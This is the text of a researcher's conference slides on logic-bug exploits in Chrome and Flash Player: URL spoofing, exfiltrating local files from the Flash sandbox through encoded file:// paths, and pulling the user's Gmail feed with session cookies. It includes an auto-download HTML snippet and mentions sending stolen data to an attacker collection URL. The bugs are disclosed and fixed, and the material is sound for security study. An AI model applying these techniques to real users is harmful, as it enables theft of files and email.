Exploiting browsers the logical way

BY BAS VENIS

@BUGROAST
BAS.VENIS@GMAIL.COM
Whoami?

- Bas Venis
- 18 year old Security Researcher for (mostly) fun
- Found multiple vulnerabilities in Flash & Chrome in the last 2 years
Introduction

- Exploiting browser.. what way?
- What’s different about logic exploits?
- Err, ain’t nobody got time for that?
First vulnerability I’ve ever found
First exploit I’ve ever written

Ok, I want to find a vulnerability
Where the .. do I start?
URL Spoof Vulnerability

- Opening a window in JavaScript:

- Accessing the window object:
URL Spoof Vulnerability

- Blocking JavaScript functions: alert, prompt, confirm and... print?

- alert, prompt, confirm block user interaction with the window →
- But print does not ↑
URL Spoof Vulnerability

- What happens when we put a blocking function in the script?
URL Spoof Vulnerability

Result:

- CVE-2013-6636
- Took 2 days to find + report & poc
- https://www.youtube.com/embed/8GL1LKg-xUQ
Recap

- No scanning / fuzzing tools used whatsoever.
- JavaScript + HTML for PoC
- Not sued, no jail, yet
Starting research on Flash Player

- This tactic couldn’t possibly work another time, I just got lucky.. right?

- Read some useful info on same origin policy and took a quick look at Flash Player Sandboxes
Flash sandbox, some useful info

Flash Security.sandboxType modes:

Security.REMOTE
Security.LOCAL_WITH_FILE
Security.LOCAL_WITH_NETWORK
Security.LOCAL_TRUSTED
Security.APPLICATION (AIR)
Full read access to almost any file on disk

No network access from inside the Flash applet

Can navigate to another window / open another window. But:
- Only on same origin (or rather, file:// path in this case)
- ?GETparameters=stripped
- #anchors are stripped

We can read data, but we cannot phone home to evil.com

Now what?
Let’s talk about browser quirks

- In chrome, we see a couple quirks worth mentioning when opening file:// URI’s.
- Extra slashes are ignored in file paths.
- `file:///C:/Users/Bob/test.html`
  `file:///C:\Users\Bob\test.html`
  `file:///C:/Users/Bob///test.html`
  all get fixed to: `file:///C:/Users/Bob/test.html`
Let’s talk about exfiltration patterns

- `encodeURIComponent("\\\") == "%5C%2F%5C%2F"
- `file:///C:/Users/Bob/%5C%2F%5C%2Ftest.html` stays intact.

- Now we can ‘tattoo’ a link with some binary pattern

- Who needs a GET parameters or anchor anyway?
Exfiltrating files out of the sandbox

- Encode to base64 -> to binary pattern -> urlencode
- Get own location from loaderInfo.loaderURL
- Apply "\" + pattern before last slash
- Navigate, to ‘tattooed’ link

- “Ex File Tration”?
Learning exploits new tricks

▶ That’s not good enough?

▶ Touché Evans, let’s handle that:

▶ Well yes.. That works.
Learning exploits new tricks

- That’s still not good enough?
- Let’s compile the whole PoC in one file. Originally 4 files:
  1. Data ‘catcher’: decodes the patterns, and saves to localStorage
  2. Embedder: embeds the swf payload with the correct flashvars using parameters defined in get parameters
  3. Payload: swf payload, read flash vars to read (specified) part of file
  4. Dispatcher: iframe-frame “embedder” dynamically in page, track and reconstruct all parts from localStorage

All compiled into one poc.html, with data: URI
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
    id="ZuzuBooth" width="400" height="400"
    codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab"
    width="640" height="480" quality="90"
    bgcolor="#cccccc"
    allowscriptaccess="sameDomain">
    <param name="movie" value="ZuzuBooth.swf?userId=XX" />
    <param name="quality" value="high" />
    <param name="bgcolor" value="#cccccc" />
    <param name="allowscriptaccess" value="sameDomain" />
    <embed src="ZuzuBooth.swf?userId=XX" width="640" height="480" quality="90"
        bgcolor="#cccccc" allowscriptaccess="sameDomain"
        type="application/x-shockwave-flash"
        pluginspage="http://www.adobe.com/go/getflashplayer">

</object>
Learning exploits new tricks
Finishing touches

- Let’s escalate our ‘local’ read permissions to your remote Gmail feed.

```html
<body>
  <a href="https://mail.google.com/mail/u/0/feed/atom" download="harmless.txt"></a>
  <script>document.body.children[0].click();</script>
</body>
```

- Remote file is now local, read it from the local disk. [https://www.youtube.com/watch?v=a_h9BTUElG8](https://www.youtube.com/watch?v=a_h9BTUElG8)

- Reported and fixed mitigated?
Recap

- Learned how to write reasonably complicated multi-part exploits.
- Escalated impact by chaining to other flaws
- First Adobe Flash vulnerability CVE-2014-0508
“But local exploits are lame”

- Goals:
  - Link more logic bugs/vulnerabilities together
  - Get higher severity vulnerability
  - Get more bounty

- Back to the data:text/drawingboard, <h1>Oh well</h1>
Break IN the local sandbox

- Hmm, say I embedded a applet with: data:application/x-shockwave-flash embedded by a html file on data:text/html.. What sandbox mode should it be?

- Well.. Flash assigns it the ‘Security.LOCAL_WITH_FILE’ sandbox.
Break OUT of the local sandbox

- So we can access your local files again when you are visiting my
  http://unsafe.org

- We got in.. how do we get out again?

- How does flash determine what file is on corresponds to what
type of origin, voodoo?

- Oh, just hardcoded to the ‘file://’ pattern?
Break OUT of the local sandbox

- Well, what about https:/www.google.com, that must be invalid right.
- Google Chrome ‘patches’ it to https://www.google.com
- And.. flash assumes it’s a local file

- So we can now start stealing all your files, documents, pictures..
Err, not so fast.. Let’s grab some candy first.

These requests share the same cookies as the users browser’s session.

Using the same flaw, we can get https://mail.google.com/mail/u/0/feed/atom
(or actually, https://mail.google.com/mail/u/0/feed/atom)

Now we are ready to go send all our data off to http://unsafe.org/collect.php?=yourdata

https://www.youtube.com/embed/EjXPAwBt_J4
Proxy all the things

- An attacker could also use your browser as a proxy to your online accounts:
Recap

- URI/URL logic within sandboxes isn’t rock solid. data URI wins the crown on this one.
- Cross sandbox logic .. incompatible
- Got a longer link of logic vulnerabilities/flaws
- Got higher severity vulnerability: CVE-2014-0535
Recycling exploits

- NtFs == NTFS, case insensitive, test.txt == TeST.txT == 1011001
- Any 2 ways to access the same html file is enough to leak Data out of the flash sandbox
- Overhead can be overcome by doing things * 10
  https://www.youtube.com/embed/Czetgg5gaeY
- Fixed
- CVE-2014-0554
Looking for logic bugs and using them to exploit browsers proved to be a sensible approach when trying to hack browsers.

Just searching for random logic vulnerabilities in a blackbox way of testing can result in some pretty sweet vulnerabilities.

Creating logic exploits does not require a great amount of tools, just a certain amount of dedication and a little creativity.
Want to break stuff?

- CVE-2013-6636
  https://code.google.com/p/chromium/issues/detail?id=322959
  https://www.youtube.com/watch?v=8GL1LKg-xUQ

- CVE-2014-0508
  https://hackerone.com/reports/2140
  https://www.youtube.com/watch?v=a_h9BTUElG8

- CVE-2014-0535
  https://hackerone.com/reports/15362
  https://www.youtube.com/watch?v=EjXPAwBt_J4

- CVE-2014-0554
  https://hackerone.com/reports/27651
  https://www.youtube.com/watch?v=Czetgg5gaeY